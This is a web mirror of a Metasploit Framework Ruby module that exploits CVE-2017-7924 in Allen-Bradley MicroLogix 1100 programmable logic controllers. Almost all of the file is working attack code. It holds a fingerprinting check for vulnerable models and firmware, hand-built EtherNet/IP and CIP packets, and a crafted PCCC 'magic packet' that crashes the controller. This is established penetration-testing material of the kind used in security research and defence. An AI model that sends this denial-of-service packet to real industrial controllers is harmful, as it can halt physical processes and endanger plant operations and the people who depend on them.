Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/scada/allen_bradley_pccc.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Dos
10
11
def initialize(_info = {})
12
super(
13
'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",
14
'Description' => %q{
15
A remote, unauthenticated attacker could send a single, specially crafted
16
Programmable Controller Communication Commands (PCCC) packet to the controller
17
that could potentially cause the controller to enter a DoS condition.
18
MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and
19
1763-L16DWD.
20
CVE-2017-7924 has been assigned to this vulnerability.
21
A CVSS v3 base score of 7.5 has been assigned.
22
},
23
'Author' => [
24
'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',
25
'Luis Rosa <lmrosa[at]dei.uc.pt>',
26
'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'CVE', '2017-7924' ],
31
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ],
32
[ 'URL', 'https://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780']
33
],
34
'Notes' => {
35
'Stability' => [CRASH_SERVICE_DOWN],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
register_options([Opt::RPORT(44818),])
41
end
42
43
VULN_LIST = ['1763-L16BWA', '1763-L16AWA', '1763-L16BBB', '1763-L16DWD']
44
VULN_FW_VERSION_MIN = 14.00
45
VULN_FW_VERSION_MAX = 16.00
46
47
def le_pp(str)
48
"0x#{Rex::Text.to_hex(str, '').scan(/../).reverse.join('')}"
49
end
50
51
def enip_register_session_pkt
52
# ENIP encapsulation Header
53
"\x65\x00" + # Command register session (0x0065)
54
"\x04\x00" + # Length (4)
55
"\x00\x00\x00\x00" + # Session handle (0x00000000)
56
"\x00\x00\x00\x00" + # Status success (0x00000000)
57
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
58
"\x00\x00\x00\x00" + # Options (0x00000000)
59
# Protocol Specific Data
60
"\x01\x00" + # Protocol version (1)
61
"\x00\x00" # Option flags (0x00000000)
62
end
63
64
def enip_ccm_forward_open_pkt(enip_session_handle)
65
# ENIP encapsulation header
66
"\x6f\x00" + # Send RR data (0x006f)
67
"\x3e\x00" + # Length (63)
68
enip_session_handle + # Session handle (retrieved from register session)
69
"\x00\x00\x00\x00" + # Status success (0x00000000)
70
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
71
"\x00\x00\x00\x00" + # Options (0x00000000)
72
# Command specific data
73
"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)
74
"\x00\x00" + # Timeout (0)
75
"\x02\x00" + # Item count (2)
76
"\x00\x00" + # Item 1 type id (Null address item)
77
"\x00\x00" + # Item 1 length (0)
78
"\xb2\x00" + # Item 2 type id (Unconnected data item)
79
"\x2e\x00" + # Item 2 length (46)
80
# CIP Connection manager specific data
81
"\x54\x02\x20\x06\x24\x01\x0a\xf0" \
82
"\x00\x00\x00\x00\x52\xac\xda\x89" \
83
"\x55\x0c\x35\x01\xe1\x08\xb0\x60" \
84
"\x07\x00\x00\x00\x00\x40\x00\x00" \
85
"\x12\x43\x00\x40\x00\x00\x12\x43" \
86
"\xa3\x02\x20\x02\x24\x01"
87
end
88
89
# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)
90
def pccc_dos_pkt(enip_session_id, cip_connection_id)
91
# ENIP encapsulation header
92
"\x70\x00" + # Send unit data (0x0070)
93
"\x2d\x00" + # Length
94
enip_session_id + # ENIP session handle (obtained from enip register session)
95
"\x00\x00\x00\x00" + # Status Success
96
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context
97
"\x00\x00\x00\x00" + # Options
98
# Command Specific data
99
"\x00\x00\x00\x00" + # Interface handle (CIP)
100
"\x00\x00" + # Timeout (0)
101
"\x02\x00" + # Item count
102
"\xa1\x00" + # Item 1 - Type ID (Connected address item)
103
"\x04\x00" + # Item 1 - Length (4)
104
cip_connection_id + # CIP connection ID (obtained from CIP CM packet)
105
"\xb1\x00" + # Item 2 - Type ID (Connected data item)
106
"\x19\x00" + # Item 2 - Length (25)
107
"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet
108
# PCCC Command data
109
"\x4b" + # Execute PCCC (0x4b)
110
"\x02\x20\x67\x24\x01" + # no idea what this is
111
"\x07" + # Requestor ID length
112
"\x35\x01" + # CIP vendor ID
113
"\xe1\x08\xb0\x60" + # CIP serial number
114
"\x0f" + # Command code
115
"\x00" + # Status (success 0x00)
116
"\x2a\x58" + # Transaction code
117
"\xa2" + # Function code (Protected typed logical read with three address fields)
118
"\x00" + # Byte size
119
"\x05" + # File number
120
"\x47" + # File type
121
"\x00" + # Element number
122
"\x00" # Sub-element number
123
end
124
125
def enip_list_identify_pkt
126
"\x63\x00" + # List Identity
127
"\x00\x00" + # Length
128
"\x00\x00\x00\x00" + # Session Handle
129
"\x00\x00\x00\x00" + # Status: Success
130
"\x00\x00" + # Max Response Delay
131
"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context
132
"\x00\x00\x00\x00" # Options
133
end
134
135
def check
136
connect_udp
137
138
udp_sock.put(enip_list_identify_pkt)
139
res = udp_sock.recvfrom(90)
140
141
disconnect_udp
142
143
unless res && res[0].length > 63 && res[0][0, 2] == "\x63\x00"
144
print_error 'EtherNet/IP Packet Not Valid'
145
return Exploit::CheckCode::Unsupported
146
end
147
148
res[0][54, 2]
149
product_name_len = res[0][62].unpack('c*')[0]
150
151
product_name = res[0][63, product_name_len]
152
print_status "Product Name: #{product_name}"
153
154
array = product_name.split(' ')
155
plc_model = array[0]
156
157
return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }
158
159
firmware = array[1]
160
begin
161
firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f
162
if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX
163
return Exploit::CheckCode::Vulnerable
164
elsif firmware_nbr < VULN_FW_VERSION_MIN
165
return Exploit::CheckCode::Appears
166
else
167
return Exploit::CheckCode::Safe
168
end
169
rescue StandardError
170
return Exploit::CheckCode::Unknown
171
end
172
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
173
elog(e)
174
ensure
175
disconnect
176
end
177
178
def run
179
connect
180
181
# Register Ethernet/IP session
182
sock.put(enip_register_session_pkt)
183
enip_register_session_ans = sock.get_once
184
unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0, 2] == "\x65\x00"
185
print_error 'Ethernet/IP - Failed to create session.'
186
disconnect
187
return
188
end
189
enip_session_id = enip_register_session_ans[4, 4]
190
print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"
191
192
# Ethernet/IP CCM Forward Open
193
sock.put(enip_ccm_forward_open_pkt(enip_session_id))
194
enip_ccm_forward_open_ans = sock.get_once
195
unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0, 2] == "\x6f\x00"
196
print_error 'CIP Connection Manager - Failed Forward Open request'
197
disconnect
198
return
199
end
200
cip_connection_id = enip_ccm_forward_open_ans[44, 4]
201
print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"
202
203
# PCCC DoS packet
204
print_status 'Sending PCCC DoS magic packet...'
205
sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))
206
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
207
elog(e)
208
ensure
209
disconnect
210
end
211
end
212
213